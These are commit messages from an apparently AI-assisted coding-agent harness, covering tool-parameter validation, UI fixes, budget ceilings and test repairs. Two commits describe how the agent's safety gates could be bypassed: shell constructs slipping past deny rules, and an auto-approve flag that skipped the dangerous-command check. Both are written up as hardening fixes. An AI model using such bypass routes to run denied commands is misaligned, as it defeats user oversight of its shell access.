Tests: 5 manager tests (seeded resume, workspace restore, idempotency
with message forwarding, reject non-interrupted, reject missing
continuable checkpoint) + 2 coord tests (queue-only without runtime,
resume with runtime). 392 subagent tests pass; fmt clean; clippy no new
warnings.
Agent assistance: Codewhale.
The 661672 ceiling was frozen before the same-process coordination-lock
handover fix (9d2ffd60-era) landed its 44 owned lines. Final measured
aggregate for the train is 661716; the _todo paydown note moves with it.
This is the last code landing on the 0.9.4 train — measured after it, per
the launch doc's 'raise after the UI fixes so the count is final' rule that
the previous bump applied one commit too early. Verified:
scripts/check-source-structure-budget.py PASS locally. Authored with agent
assistance (Claude).
docs/public-surface-facts.json still advertised 67 model-facing tools for
the 0.9.4 source candidate; the derived facts (and the regenerated
facts.generated.ts) count 66 after the train removed one. This was the
remaining Lint & Type Check failure on #5135
(public-surface-contract.test.ts pins matrix.sourceCandidate.toolCount to
FACTS.toolCount).
Verified: web vitest suite 250/250 green and check:facts OK locally.
Authored with agent assistance (Claude).
Owner report (HANDOFF-ALL-ISSUES-2026-08-04 item 28): switching model or
provider mid-session fires a 30-second sticky warning — 'Delegated
coordination unavailable — another Codewhale process owns delegated
coordination for this workspace' — that blames a process that does not
exist. switch_provider spawns the new engine before the old engine's
SubAgentManager has dropped the workspace coordination flock, and flock
treats a second fd in the same process as a conflict, so the new engine
loses the race against its own predecessor and self-heals moments later via
the per-projection retry (#5036).
The lock now stamps the holder's pid into the lock file while the flock is
held. A losing acquisition reads it back and classifies the loss: same pid
means a same-process engine handover (marker const
COORDINATION_SAME_PROCESS_HANDOVER), which the sticky-toast path treats as
transient and keeps off the strip; a different pid keeps the warning and
now names the owning pid. Genuine cross-process contention still warns —
the two-process fail-closed test still asserts the 'another Codewhale
process' message.
Verified: new tests coordination_lock_loss_to_own_process_reads_as_handover_
and_self_heals (classification + self-heal after the holder drops) and
coordination_handover_within_this_process_does_not_toast (handover silent,
foreign owner still toasts); coordination_detail_projection_reports_process_
lock_ownership updated to expect the truthful same-process note; full
subagent test module green (404 passed); clippy --all-targets -Dwarnings
clean. Authored with agent assistance (Claude).
Both #5135 fast gates were red on the new tip for generated-file drift, not
code:
- web/lib/facts.generated.ts still claimed 67 model-facing tools; the train
removed one, and the fresh derive counts 66. Regenerated with
`npm run prebuild` (only generatedAt and toolCount change).
- crates/tui/CHANGELOG.md is the packaged slice of the root CHANGELOG and
had not been re-synced after the root gained the work-bar standing-register
entry. Regenerated with scripts/sync-changelog.sh.
Verified: scripts/release/check-versions.sh passes locally (workspace=0.9.4,
npm=0.9.4, lockfile in sync) and web check:facts drift is clean. Authored
with agent assistance (Claude).
Both tripwires fired on purpose and both raises are explicit maintainer
decisions, per DECISION-runtime-contract-ceiling-0.9.4.md:
- runtime-contract-budget.json: the twelve tool-catalog bytes/tokens_est
ceilings move to the measured values at this tip (plan full 40937->42539,
plan active 16203->17388, act/operate full 66794->68792, act/operate
active 21482->23033, tokens_est accordingly). The growth is the 0.9.4
correction of tool descriptions that previously lied to the model, plus
the File parameter-alias hardening — surface that must stay. The diff
touches ONLY bytes/tokens_est: identity_sha256 and tool_names are
unchanged, i.e. no model-facing tool was added or renamed. (Edited by
hand: --update only tightens and refuses increases; the LAUNCH doc's
--update instruction is wrong.)
- source-structure-budget.json: aggregate owned Rust 659633 -> 661672
(+2039), measured after the work-bar regression fix landed so the count
is final for the train. The _todo note now records that v0.9.4 overspent
and v0.9.5 pays it down by deletion/dedup; test code was deliberately NOT
shuffled into tests.rs files to duck the count.
Verified: both checkers PASS at this tip (runtime contract: all 55 metrics
exactly at budget; source structure: 20 packages, 3 binaries, 661672 owned
lines). Authored with agent assistance (Claude).
Companion to the work-bar regression fix (c16946c106) — the stale-doc sweep
(codewhale-ops/reports/work-surface-docs-sweep-2026-08-04.md) catalogued the
docs a fixer model would read as doctrine for the regressed behavior:
- CONFIGURATION.md: sidebar_focus rewritten as the migration-only legacy key
it is (with the exact fold-in table from settings.rs); rail_panel, /rail
panel chords, work_surface_top_height/side_width documented for the first
time; work_surface_placement gains the shipped 'off' value.
- KEYBINDINGS.md: the Alt-!/@/#/$ row now names the real panel order and the
work bar instead of the deleted sidebar focus modes; the focused-surface
table matches the actual input contract (no j/k, no Tab cycling) and
states mouse parity.
- GUIDE.md: the user-facing surface model names the work bar and its
session-long row lifetime instead of a generic sidebar.
- TUI_METAMORPHOSIS.md: the rollback contract is marked historical — Classic
was deleted in 10048ac1a; 'restore old behavior' must not mean
resurrecting sidebar.rs.
- SUBAGENTS.md: the current-session scope note now says explicitly that
completed current-session agents keep their rows — it kept being misread
as licence for completion-eviction.
- FLEET.md: workflow UI guidance points at work-bar rows, not sidebar rows.
KEYBINDINGS.id.md is a short summary without the stale rows; unchanged.
Authored with agent assistance (Claude).
Owner-reported 0.9.4 release blockers (HANDOFF-ALL-ISSUES-2026-08-04 A1+A2):
the to-do list lost its status words and click-to-select, and sub-agents had
no permanent home after spawn. Root causes were three separate cuts, two of
which predate the 08-04 rebuild:
- has_live_item (5db74a09d) emptied the whole Top projection the moment no
row was live, killing settled to-dos, finished workers, and the goal title
with them; 7ca247aad's 4s recent-only TTL + user-turn force-hide evicted
the same rows on side placements.
- 2011b9b11 dropped the status word from pending to-do rows (conflating the
state label with the redundant 'plan step' kind label), and 7b20ef513
stopped painting the agent status word entirely.
- 2baf1627b's panel unification wiped every hitbox in non-Tasks panels, so a
user whose rail_panel migrated to pinned/agents (any classic sidebar_focus
of pinned/work/plan/todos) could not click a single work-bar row.
The fix makes the work bar a standing register of the session's work:
- Persistence: plan-step and worker rows are durable in ordered_rows —
exempt from the recent-only TTL, the user-turn force-hide, and the
all-settled collapse. Transient operation/activity receipts keep their
#4688/#4690 lifetimes. has_live_item is gone; the goal title survives
settled work. Quiet completion (FINISH entry 36), not eviction.
- Labels: to-do rows always carry their state in the /task digest vocabulary
(pending / in progress / completed / cancelled); agent rows regain a
status-word column (new AgentRowFacts::status), degraded only when the row
is down to the objective alone.
- Clicks: Agents and Pinned panels now route through the same WorkRow/hitbox
machinery as Tasks (visible_rows_for_panel), so click and Enter open the
row's world in every panel and placement, including finished agents.
Context stays a fact list. A click after the pager closed itself reopens
the detail instead of being swallowed by the stale opened owner.
- The four doc-comments that would have re-derived the regression are
corrected in place (project_visible contract, graph_node_row label note,
render_panel scope, panels.rs auto-fit note), plus a row-lifetime section
in the module header.
Verified: cargo test -p codewhale-tui --bin codewhale-tui (9719 passed, 0
failed; the one engine-test failure in a prior run was a parallelism flake
that passes in isolation and in the rerun), clippy --all-targets -Dwarnings
clean, cargo fmt applied. New coverage: persistence across TTL+user turns,
status-word projection+paint, per-panel hitbox dispatch (finished agent
detail opens; Pinned to-do opens inspector), stale-opened reopen, and three
real-PTY probes (goal-title click, mid-stream click, and a pinned-panel
click that fails on the pre-fix binary). Authored with agent assistance
(Claude); regression brief from codewhale-ops reports 2026-08-04.
The Bash wait/delta tool result kept duration_ms only in metadata,
which the model cannot see. Every wait result therefore looked
identical whether the task just started or had been running for
minutes, biasing the model into busy-polling and misjudging long
stalls (live repro 2026-08-04: a stalled clippy run reported
"running" while no new process existed, wasting ~30 min of waits).
build_shell_delta_tool_result now prefixes the visible content with
a timing line, e.g. "Task shell-7 still running after 42.5 s." or
"Task failed after 25 ms.", so the model can judge how long it
actually waited and decide whether to keep waiting.
Tests: shell_delta_result_surfaces_elapsed_time_in_content,
shell_delta_timing_line_omits_task_id_when_unknown; 63 wait-filtered
tests pass; fmt clean; clippy no new warnings.
Agent assistance: Codewhale.
Three lies in one comment block, all the same family the tool sweep just
closed:
- `raw = true` was documented as a per-call bypass for output routing. It is
not. The adaptive router takes it as `_raw_bypass` and ignores it; it is
honoured only under the legacy CODEWHALE_CLASSIC_OUTPUT_ROUTING switch, and
no tool advertises it. A user setting it got routing anyway, silently.
- The per-tool override example keys off `exec_shell`, `grep_files`, and
`web_search`, all retired. An override written from this example matches
nothing and does nothing, with no error.
Names the live tools instead and says plainly that the escape hatch is not
one. `raw` itself is left alone pending a decision on whether it should exist.
`cargo test --workspace` was still red after 7e13a3cbf: the real-PTY
lifecycle probe carries the same two defects as the headless one, in the same
file pair #5212 edited together.
- Sentinel line: `shell_output` keeps TRUNCATED_HEAD_BYTES = 30_000/5 = 6_000
bytes of head per stream, not the 22 KB the comment claimed, so the stderr
sentinel at line 100 (~8.7 KB in) landed in the stream's own omitted middle
and the artifact never carried it. Moved to line 50, the middle of the
[31, 68] window where it survives the stream bound and still falls outside
the preview's 32 KiB head. Arithmetic recorded next to the fixture.
- Receipt contract: the check required the footer *not* to name
`retrieve_tool_result`. Same stale negative as the headless probe, same
origin (#5018's "no storage language" pass), and now inverted for the same
reason: 7e13a3cbf proves end to end that the ref the footer names returns
the bytes the receipt omitted.
Verified: cargo test -p codewhale-tui --test qa_pty
real_tool_lifecycle_crosses_work_status_resize_and_scroll_in_a_unix_pty passes.
Found while interrogating the release binary about its own tools. `Bash` is
the tool that runs arbitrary code and it was the loosest one in the harness.
Non-string `action` executed the command. `input.get("action")
.and_then(as_str).unwrap_or("run")` treated any non-string action as absent
and fell through to the run branch, so `Bash{action: 3, command: "…"}` ran the
command. `File`, `Git`, `Web`, and `Run` all refuse a non-string action via
`canonical_action::required_action`. Switched to `optional_str`, the
type-strictness lane's extractor: absent or `null` still takes the documented
`run` default, anything else is a `type_mismatch` naming the field and the
type it needed. No second error shape invented.
The schema declared no `required` key at all, so `Bash{}` was schema-valid.
What is required is per-action and cannot be a flat list: `run` needs
`command`, `wait`/`interact`/`cancel` need `task_id`, and `cancel` needs `all`
instead when cancelling everything. Declared as root `anyOf` required groups —
the shape `finance` and `apply_patch` already use and `schema_sanitize`
already understands. Providers that reject root composition get the groups
merged and the constraint restated as a description note, which is now held by
a test rather than assumed.
The undocumented stdin aliases are advertised rather than removed. `stdin`,
`input`, and `data` are all honoured at three sites (`execute` for run,
`execute_interact`, and the parallel-readonly predicate) and `input` is
checked *first* for `interact`, so removing them would silently drop stdin
from a call that reports success — the exact failure this release is closing.
No in-repo caller uses them, but a model that learned them would break. Same
treatment for `id`, the equally undocumented alias for `task_id`, found while
checking.
Tests: non-string action refused for number/bool/array/object with the marker
file proving nothing ran; absent and null still default to run; every valid
action still dispatches to its own handler including `cancel all=true`; every
advertised stdin spelling actually reaches the command; required groups are
declared and every required name is advertised; the Responses/xAI sanitizer
still yields a usable schema plus the restated constraint.
check-runtime-contract-budget: Bash's schema is +282 bytes / +70 est. tokens
in each of act/operate full and active; plan is unchanged (no Bash). Not
run with --update. The check is already failing on this branch independent of
this change — measured at 0963aa6d2, plan full is 42539 against a 40937
ceiling and act full 68510 against 66794.
`cargo test --workspace` has been red on this branch since the tool-honesty
sweep (33e59b9b9) rewrote SPILLOVER_RECOVERY_HINT to name
`retrieve_tool_result`. Nobody caught it because every routine command in
crates/tui/AGENTS.md is a `--bins` run, and `--bins` never compiles
crates/tui/tests/.
The failing assertion read like an intentional shell-vs-tool-result
distinction. It is not. Git says it came from #5018's "no storage language"
pass: #4619 shipped the footer naming `retrieve_tool_result ref=art_<call>`,
#5018 replaced the entire recovery line with "view full output in the tool
details view" — a view the model cannot open — and froze the removal as a
negative assertion, and #5212 restored the artifact path but left the stale
negative behind.
Decided from behavior rather than names: the scenario now scripts two more
turns. The mock reads the ref out of the receipt text the model was actually
handed and calls `retrieve_tool_result` with it; the run returns the exact
sentinel line the receipt omitted (line 506 of the failure artifact). So the
footer names a route the model can take from that receipt, and the assertion
is inverted with the reasoning recorded at the assertion.
A `File action="read"` probe on the on-disk path was written too and then
dropped: it showed the path is *conditionally* reachable —
ToolContext::resolve_path short-circuits under trust mode, so the read
succeeds in an --auto session and is a path escape otherwise, and even when it
succeeds it pages rather than seeking the omitted range. The truncate.rs doc
comment claiming that route is flatly "refused as a path escape" is corrected
to say what actually happens.
Second, independent failure in the same test, previously masked because the
receipt assertion tripped first: #5212 moved the sentinel to stderr line 100
citing a "22 KB head bound" that does not exist. shell_output bounds each
stream to TRUNCATED_HEAD_BYTES = 30_000/5 = 6_000 bytes of head, so line 100
landed in the stream's own omitted middle and the artifact never carried the
sentinel. Moved to line 50, the middle of the [31, 68] window where the
sentinel survives the stream bound and still falls outside the preview's
32 KiB head, with the arithmetic written down next to the constant.
crates/tui/AGENTS.md: `--bins` and `--tests` are disjoint target sets; say so
and put a `--tests` run in the routine block.
Review feedback on #5225 (Hunter):
1. build_acp_tool_registry set context.auto_approve = true, which
short-circuits the SafetyLevel::Dangerous check in
tools/shell.rs (only runs `if !context.auto_approve`), so every
command an ACP client's model emits ran unreviewed. ACP has no
session/request_permission round-trip yet to fall back on. Drop
the line and let ToolContext::new's default (auto_approve: false)
stand — matching mcp_server.rs's trust posture over a different
transport. A blocked command already surfaces as a normal
`success: false` "BLOCKED: ..." tool result fed back to the model
(execute_tool_calls_with_cancellation already round-trips tool
results), not a silent failure, so there's no UX regression from
restoring the gate.
2. agentic_turn_cancels_while_a_tool_is_running scripted a tool call
named "exec_shell", which with_shell_tools() never registers
(renamed to "Bash" in v0.9.3). The lookup miss made the tool
future resolve to an immediate error instead of actually running
SLOW_SHELL_COMMAND, so the test's `select!` raced two already-ready
futures and asserted PromptOutcome::Cancelled on a coin flip.
Renamed to "Bash" so the 5-second command genuinely runs and the
cancel path genuinely preempts it. Also swept the remaining
`exec_shell` references (doc comments, a test name/message) left
over from the pre-v0.9.3 tool spelling.
Verified: cargo test -p codewhale-tui acp_server (34/34) and
route_budget (11/11) pass; the renamed cancel test passes 15/15 runs
in isolation (was ~50/50 before the rename). cargo fmt and the
project's workspace clippy gate (fmt + clippy --workspace
--all-features -D warnings, CONTRIBUTING.md allow-list) are clean
except one pre-existing, unrelated lint in mcp.rs.
Blocker 3 (build_system_prompt, deleted in a98b184f5) is Hunter's to
carry per the review; not touched here.
Drafted with agent assistance (Claude Code); build-verified by the
human author before pushing.
#5209 taught `edit` to hard-error on a parameter it does not implement
instead of dropping it and returning a success-shaped receipt. Only `edit`
learned it. `read`, `write`, `list`, `search_name`, `search_content`, and
`patch` all kept discarding unknown keys silently, which is the same failure
wearing a quieter costume: a misspelled `start_line` on `read` was dropped,
the head of the file came back under a success receipt, and nothing in the
response admitted the requested window was never honored — a wrong answer
shaped like a right one.
Found by asking the release binary's model to probe its own tools: it called
File{action:"read", path, bogus_param} and reported "no schema validation
error and no rejection: the call was accepted and executed, the unknown
parameter was silently dropped."
`validate_edit_file_params` becomes one `ActionParams` table covering all
seven actions, with the same error shape everywhere — it names the offending
parameter, the allowed set, the required set, and states that the operation
was not performed. Validation runs after `apply_param_aliases`, exactly as
the edit path did: the alias lane's reasoning stands, so an unambiguous
cross-harness synonym is still translated and only a name with no known
meaning is refused.
The wrapper's hand-copied cross-action forwarding (`max_results` on
search_name, `query`/`limit` on search_content) moves into that same alias
mechanism, so those spellings survive the new check and a direct call to the
implementing tool behaves identically to a call through `File`.
`fuzz` on `edit` is retired rather than kept honest. It was advertised in the
schema and read into `let _fuzz`, then thrown away; asked about it live, the
model described it as "an optional fuzzy-matching flag for the search", so
the previous attempt to make the description honest did not land. The fuzzy
fallbacks it appeared to control (indentation, punctuation, line endings) run
unconditionally and are unaffected. `fuzz` remains a real integer parameter
on `patch`, and the `File` wrapper now borrows its description from the
action that implements it. Net effect on the per-turn tool catalog: -91 bytes
and -23 estimated tokens in every mode and both surfaces.
Tests: every action refuses an unknown parameter with the full error shape;
the misspelled read window specifically; every action still accepts its
complete legitimate parameter set; every alias still survives validation;
parameters do not leak between actions; and required names are always a
subset of allowed ones.
Gaps left standing, for a follow-up: `Git`, `Web`, `Run`, and `Bash` still
drop unknown parameters on every action, and `Bash` alone still resolves a
non-string `action` to its `run` default instead of refusing it.
Both files crossed the source-structure budget's 1000-line threshold
tonight — render.rs at 1092 from the sub-agent row columns, github.rs at
1050 from the tool-parameter strictness work. The budget's answer to a
crossing is a split, not an allow-list entry, so neither path is added to
allowed_large_modules.
work_surface/render.rs -> render/{mod,layout,rows}.rs, split along what
the code does rather than line count:
- layout.rs: where the surface goes and how tall it is — placement
fallback, height/ambient_cap/top_cap/collapse_strip, split_chat.
- rows.rs: what one row says — the sub-agent identity column, the
degradation tiers, layout_agent_row, row styling.
- mod.rs keeps the paint (Top strip, side-rail panel, divider,
scrollbar) plus the strip header content and progress_shares_goal_row,
the rule height and paint must agree on. Keeping that rule in the
parent is also what keeps its [`height`]/[`render`] doc links resolving.
tools/github.rs -> github/{mod,schema,actions,cli,shape}.rs, by
responsibility:
- schema.rs: the input contracts (canonical union + legacy per-action).
- actions.rs: the five action bodies and the close target.
- cli.rs: every gh/git invocation — one place that builds an argv.
- shape.rs: response shaping, artifact spill, task metadata.
- mod.rs keeps the surface and its guards (resolve_action,
validate_evidence) and the cross-cutting test suite.
Pure move: every doc comment, body, and test is byte-identical apart
from visibility (private -> pub(super)) and import paths. No test was
edited. The two #[cfg(test)] imports in github/mod.rs exist because the
suite there names json!/PathBuf that the production surface no longer
does.
Verified: cargo test -p codewhale-tui --bin codewhale-tui 9702 passed /
0 failed; cargo clippy -p codewhale-tui --all-targets -- -Dwarnings
clean; cargo fmt --all -- --check clean.
The budget's aggregate ceiling still fails and is left for the owner:
660750 > 659633. It was already 999 lines over at HEAD before this
commit; the module docs and imports these six new files need add 118.
Per scripts/source-structure-budget.json's own _todo_2026_08_03, that
overspend is v0.9.5 debt to pay down, so the ceiling is not raised here.
`172bf65ce` introduced an explicit `'row` that clippy elides for us. Left
alone by two lanes as "someone else's file"; it was the only diagnostic
standing between the branch and a green `cargo clippy -p codewhale-tui
--all-targets -- -Dwarnings`.
`optional_bool`, `optional_u64` and `optional_str` coerced every type
mismatch to the caller-supplied default. The mismatch was invisible: no
error, no warning, and the default is frequently the opposite of what the
model asked for. Roughly 150 call sites across the tool surface inherited
that behavior, including flags that gate irreversible, outward-facing
actions and flags that declare a child agent's authority.
The rule is now uniform and stated in one place: an optional parameter of
the wrong JSON type is an error naming the parameter, the type that
arrived, the type the schema declares, and the offending value. JSON
`null` is the only tolerance — it is the wire spelling of absence, so it
takes the default, identically in all three extractors.
Nothing is coerced, not even the unambiguous-looking cases. A sibling lane
made the opposite call for parameter *names*, accepting known synonyms
rather than refusing, and that reasoning is right for names: the model's
intent is unambiguous and the harness merely offered two spellings of one
word. It does not transfer to *values*. A synonym table is closed and
knowable; a value-coercion table is not — accepting "true" forces a ruling
on "yes", "1", 1, "" and "False", and each ruling is a guess about intent
applied to whatever that parameter gates. The costs are asymmetric too: a
refused name costs one retry, while a wrongly coerced value can cost an
action that cannot be taken back. Refusing is also what actually gets the
model what it wanted, because it retries in one turn with the right type.
Also adds `optional_bool_opt` for flags where "unset" is itself meaningful,
and applies the same rule to the sub-agent spawn parsers, which had their
own lenient copies: a deny-list handed over as a bare string used to
vanish silently, which widened the child's authority rather than narrowing
it. Two predicates that cannot report an error — the workflow detach hint
and the sub-agent read-only approval check — now fail closed on a value
they cannot read, and `execute` refuses the call by name a moment later.
Tool-schema bytes are unchanged; no description or schema text moved.
Written with agent assistance; behavior verified by the tests added here.
The column rewrite in 7b20ef513 spelled a sub-agent's identity as its fleet
role and dropped the nickname. That answered the brief but quietly removed
identity CodeWhale actually has: the reference screenshot shows a type
because that harness has no nicknames, not because a type is the right
answer for us.
Lead with the nickname and fall back to the role when there is none, so the
single-identity-column shape and the requested format both hold:
> Fluke Streaming dead-code removal 12m 33s - 111.9k tokens
> general-purpose Ambient visual calm-down 12m 21s - 144.3k tokens
`AgentRowFacts` now carries `role_label`, the role-only spelling of the same
column, so the renderer has somewhere to fall back to. No name is fabricated:
an agent with no real nickname or stable label shows its role, and the raw
agent-id hash still never renders (#36).
Also cap the shared identity column at two fifths of the row. The column is
shared, so an outlying nickname previously widened it for every row and could
starve every objective on the surface. An identity wider than the cap is
dropped for that row alone, which falls back to the role and, failing that,
to nothing; the column still reserves its width so objectives stay on one
axis. Identities are never truncated, only dropped, for the same reason the
type never was: `Bartholomew the Extremely…` and `general-purpo…` both
misidentify an agent, and roles sharing a prefix become indistinguishable.
Everything else from 7b20ef513 is unchanged: degradation order, unknown vs
reported-zero tokens, frozen elapsed, `(+N)` counting only on-surface
children, and the `N more` overflow line. Live progress (`using X`, `step N`,
files touched) stays off the row and in hover and Agent Details.
Verified with `cargo test -p codewhale-tui --bin codewhale-tui --
work_surface:: sidebar:: rail_` (143 passed) and a clippy run scoped to these
files (no findings). The full bin suite cannot compile in this tree right now
for reasons outside this lane; see the report.
`33e59b9b9` stopped the read-before-edit refusal from pointing at
`read_file`, a retired name — sending the model to a tool that does not
exist is the guard-then-bad-advice chain this release set out to close.
This assertion still encoded the old string, so it failed in the full
suite while `-- tools::` stayed green.
Updated to the live wording and given a failure message, so the next
person sees what the refusal actually said instead of a bare
`assertion failed`.
v0.9.3 consolidated the per-action tools behind `File`, `Git`, `Run`, `Web`,
and `Bash`, and `ToolRegistry::resolve` deliberately has no fuzzy step. Every
surviving mention of `read_file`, `edit_file`, `exec_shell`, `exec_shell_wait`,
or `run_verifiers` in a model-facing string is therefore an instruction that
cannot dispatch. Each one costs the turn the model spends finding that out.
The reachable ones, all rewritten to the canonical action form:
- The read-before-edit guard (spec.rs), three separate messages, on the most
common editing error there is. It named `read_file` and `edit_file` while
file.rs one guard over already said `File action="read"` correctly.
- `apply_patch`'s two context-match failures — the ordinary way a patch fails.
- `Bash`'s foreground-timeout hint, its background-start receipt, and the
structured `recommended_tools` / `poll_with` metadata, which handed over a
literal tool list. The receipt now also carries the `task_id` the wait call
needs, so the suggested call is complete rather than merely correct.
- `load_skill`'s description and the sibling-file list it prints on every
successful load; `handle_read`'s and `update_goal`'s schema prose; `rlm`'s
url parameter.
Truncation was the worst of them. `SPILLOVER_RECOVERY_HINT` offered three
routes and all three were dead: `read_file` is not model-visible, `File
action="read"` on an artifact under ~/.codewhale/sessions is refused as a path
escape, and `sed` through `Bash` reads outside the workspace too — while
`retrieve_tool_result`, which is model-visible and exists for exactly this,
went unmentioned. The web overflow path in tools/web/overflow.rs already got
this right. Adaptive spillover now hands over the `art_<id>` that resolves,
with the modes worth knowing. Legacy global spillover deliberately does not:
its ownership sidecar is allowed to fail to publish, so promising retrieval
there would just be a fourth dead route — it says plainly that no tool call
reaches that copy and names what does work instead.
Two existing tests asserted the absence of `retrieve_tool_result` in truncated
output. That assertion encoded the withholding rather than a constraint: both
paths spill through `apply_spillover_with_artifact` into a session artifact the
retrieval tool resolves. Updated, with the reasoning recorded at the assertion.
Also here because it is the same file: `Bash` was the only action wrapper whose
catch-all fell through to its most dangerous branch — `{"action":"kill",
"command":...}` ran the command instead of cancelling. It now refuses like its
siblings, and the `timeout_ms` description states all three per-action defaults
instead of only `run`'s, so a model omitting it on `wait` no longer silently
gets 30s where the schema promised 120s.
`File`, `Git`, `Web`, and `Run` all declare `"required": ["action"]` and all
four then defaulted a missing one — to read, status, search, and tests. A call
that merely omitted or misspelled the discriminator therefore ran a *different*
operation and returned that operation's success receipt. `File{path, content}`
answered an intended write with the file's current contents; `Web{url}` ran a
search; `Run{}` ran cargo test. Same shape as #5209: work that did not happen,
reported as if it had.
Execution now requires `action` and names the values that dispatch. The policy
seam keeps its conservative fallback — approval and parallel-safety predicates
cannot return an error, so they still need a label — and that split is now
stated where both live. Unknown actions were already refused, but the message
did not say what to pass; it does now, built from the same list that builds the
schema enum, so a mode that hides `write` can neither advertise nor suggest it.
The `File` schema is the only one the model reads, and it had drifted from the
tools it wraps: `max_lines` advertised "default 200" (real default is 500, plus
a 16KB byte budget), `fuzz` advertised edit-time fuzzy matching that `edit`
ignores, and a `blame` action `File` has never had. Rather than restate the
inner descriptions correctly once, the wrapper now borrows them from the tool
that implements each action, so this class of drift cannot recur — the
cross-harness parameter aliases another lane landed in file.rs reached the
model-facing schema for free.
Catalog cost, measured in isolation from other lanes' work: +949 bytes active
(+865 plan active), which trips the runtime-contract ceilings. Left failing
deliberately rather than running --update: raising a ceiling is a maintainer
decision. Prose was trimmed back to instruction, and a test now bounds the File
schema and prints a per-parameter breakdown when it grows.
Tests: 22 new across the four wrappers, plus a catalog-wide guard that no
advertised tool teaches a name the registry cannot resolve.
The work surface listed sub-agents as a numbered role plus a run-on facts
string. It answered "which agent is this" and never answered the two
questions anyone actually asks of a running fleet: how long has it been
going, and what has it cost.
Rebuild the row as columns, keeping the placement, the selection, and the
click-to-open behaviour exactly as they were:
> general-purpose Streaming dead-code removal 12m 33s - 111.9k tokens
- Identity column is the agent's type, with `(+N)` when that agent has
spawned children that are themselves on the surface. The sequential
number and the whale nickname come off the strip; the nickname still
lives in Agent Details, and no raw agent id renders (#36 holds).
- Per-agent token spend had no path to the renderer at all. `AgentRunUsage`
lives on the manager behind an async lock, so accumulate the child's own
`output_tokens` onto `AgentProgressMeta` from the `TokenUsage` mailbox
envelope that already arrives synchronously. The down-arrow is received
tokens, and the field stays `None` until a real envelope lands: an agent
whose spend is unknown shows no figure rather than a fabricated `0`. A
*reported* zero still renders, because that is a fact.
- Elapsed freezes. The manager recomputes `duration_ms` as
`started_at.elapsed()` on every snapshot, so a finished agent's row ticked
forever; latch the first terminal reading instead. Formatting goes through
`crate::elapsed::format_elapsed_secs`, the existing convention.
- Narrow surfaces degrade in a settled order - tokens, then elapsed, then
the type column - so the objective is the last thing to go. Everything
truncates; nothing wraps. The type column is never truncated, only
dropped, because a clipped `general-purpo...` misnames roles that share a
prefix.
- A height-capped list ends in a `N more` line. The scrollbar showed
position but never amount.
Three colour roles and no more: the objective is normal text, every
secondary figure is muted, and accent_primary keeps meaning "selected".
Status stays in the glyph rather than being spent as colour.
Verified with `cargo clippy -p codewhale-tui --all-targets -- -Dwarnings`
(clean) and `cargo test -p codewhale-tui --bin codewhale-tui --
work_surface:: sidebar:: rail_` (141 passed).
`rendered.contains(panel.title())` stopped meaning "the strip rendered" at
f3cdc3485, which made the only Top title an active goal and left panel chrome
("Agents", "Pinned") deliberately unpainted. The same commit made an empty Top
panel collapse to zero rows, so the idle Agents fixture these tests had already
switched to had nothing to yield either. Four tests failed; the
`!contains(title)` half had been passing for free since that commit.
Both causes are now handled in the fixtures rather than worked around:
- Seat a running sub-agent so the panel genuinely has a strip. Agents is the one
panel that can hold content without ending the idle session, so the ocean
under test still draws; `busy_rail_app` asserts that.
- Measure with `strip_height()` — the idle predicate, the budget, then
`work_surface::height()`, the same three calls in the same order that
`ui::render` makes. `a_strip_that_measures_nonzero_is_a_strip_that_paints`
ties that number to what reaches the frame in both directions, so it cannot
drift into fiction the way the title probe did.
- `top_placement_never_paints_panel_chrome_as_a_title` proves the strip is
present before searching the frame for chrome, so it fails if Top ever paints
a panel name again instead of going quietly vacuous.
Collapsing an idle Agents strip is kept as correct behavior: an empty panel is
not a panel, and the row-yield rule is about spending rows on something worth
seeing. Two assertions changed shape rather than being loosened. "The strip must
be absent below the threshold" was a consequence of the old fixed four-row band;
auto-fit hands rows back one at a time, so it becomes "the strip renders shorter
than it wants, never exceeds the budget, and is never a lone divider", plus a
swept `the_rail_never_costs_the_ocean_a_single_terminal_size` comparing
whale-with-rail against whale-with-rail-off at every size in 18..=40. And
`strip == 0 || strip == top_height` is now false for an honest reason — the
ambient budget can clamp an auto-fitted strip below the user's ceiling — so it
becomes "the ceiling is never exceeded, it is reachable, and the size at which a
strip first appears is identical for every top_height", which is what "the cliff
is not charged against the user's preference" actually says.
The block moves into a `work_surface` module so `cargo test -- work_surface::` —
the filter that let this regression through — now reaches it.
Verified: mutating the fixture back to an empty panel fails 6 of the 9 tests
with named diagnostics. cargo test -p codewhale-tui --bin codewhale-tui: 9660
passed, 0 failed. cargo clippy -p codewhale-tui --all-targets -- -Dwarnings:
clean.
Deny rules were matched against the command text as written, so any shell
construct that changes the text without changing what executes slipped past
them. The hardening in #5164 (issue #5161) closed a couple of spellings by
adding string handling per metacharacter; the rest of that class stayed open.
Under `AskForApproval::Never` a missed deny rule runs with no prompt at all,
so this is the one gate where a near miss is a full bypass.
Adding another pattern per metacharacter is a race the matcher loses by
construction, so add `shell_expand` instead: it word-splits a command the way
a POSIX shell does and returns every command line that would actually be
executed -- chained and grouped segments, command- and process-substitution
bodies, parameter-expansion bodies, and the payloads handed to `eval` and to a
shell's `-c`, plus the invocation left after wrapper words such as `sudo` and
`timeout`. Quoting is resolved rather than pattern-matched, so an operand loses
its quotes and, in the other direction, single-quoted text is correctly not
treated as code. Both live deny surfaces now match against that set: the
permission engine's denied-prefix scan and typed Deny rules, and the TOML
`execpolicy.toml` deny patterns.
Only the deny path widens. Allow and trusted-prefix matching still run against
the command as written, so a broader expansion cannot become a broader
auto-approval. The naive segment split is unioned in rather than replaced, so
no rule that used to fire can stop firing. Expansion is depth- and
count-bounded.
Tests are table-driven over every spelling now covered, with negative cases
that must stay allowed: substitution of a benign command, denied text inside
single quotes, a denied word appearing as an operand, and escaped operators.
A user watching auto-compaction fire at 128K on a 1M-capable model opened an
issue to ask how to raise it. Every surface that displayed the window showed
the number and nothing else: no provenance, no key, no table. `context_window`
was documented only inside a Key Reference bullet, and the string "context
length" — what a user actually searches for — appeared nowhere in
docs/CONFIGURATION.md.
The value itself was already resolved and labelled correctly; what was missing
was the half that lets someone act on it.
- /status gains a `Window source:` row that names the provenance rung and
spells the override for the provider actually in use, e.g. `catalog
(override: [providers.moonshot] context_window in config.toml)`. When the
user set it, it reads as a fact rather than as advice.
- /config's context_window and effective_context_window hints now carry the
vocabulary the filter matches against — context length, context size, max,
limit, tokens — so typing "context length" reaches the rows instead of
requiring the reader to already know the key name. Same one-line gap fixed
on auto_compact_threshold_percent, which was documented as bare "10..=100"
and unreachable by the words "compaction threshold".
- /context report says how to change the window, not just where it came from.
- docs/CONFIGURATION.md gains a "Context length (context window)" section:
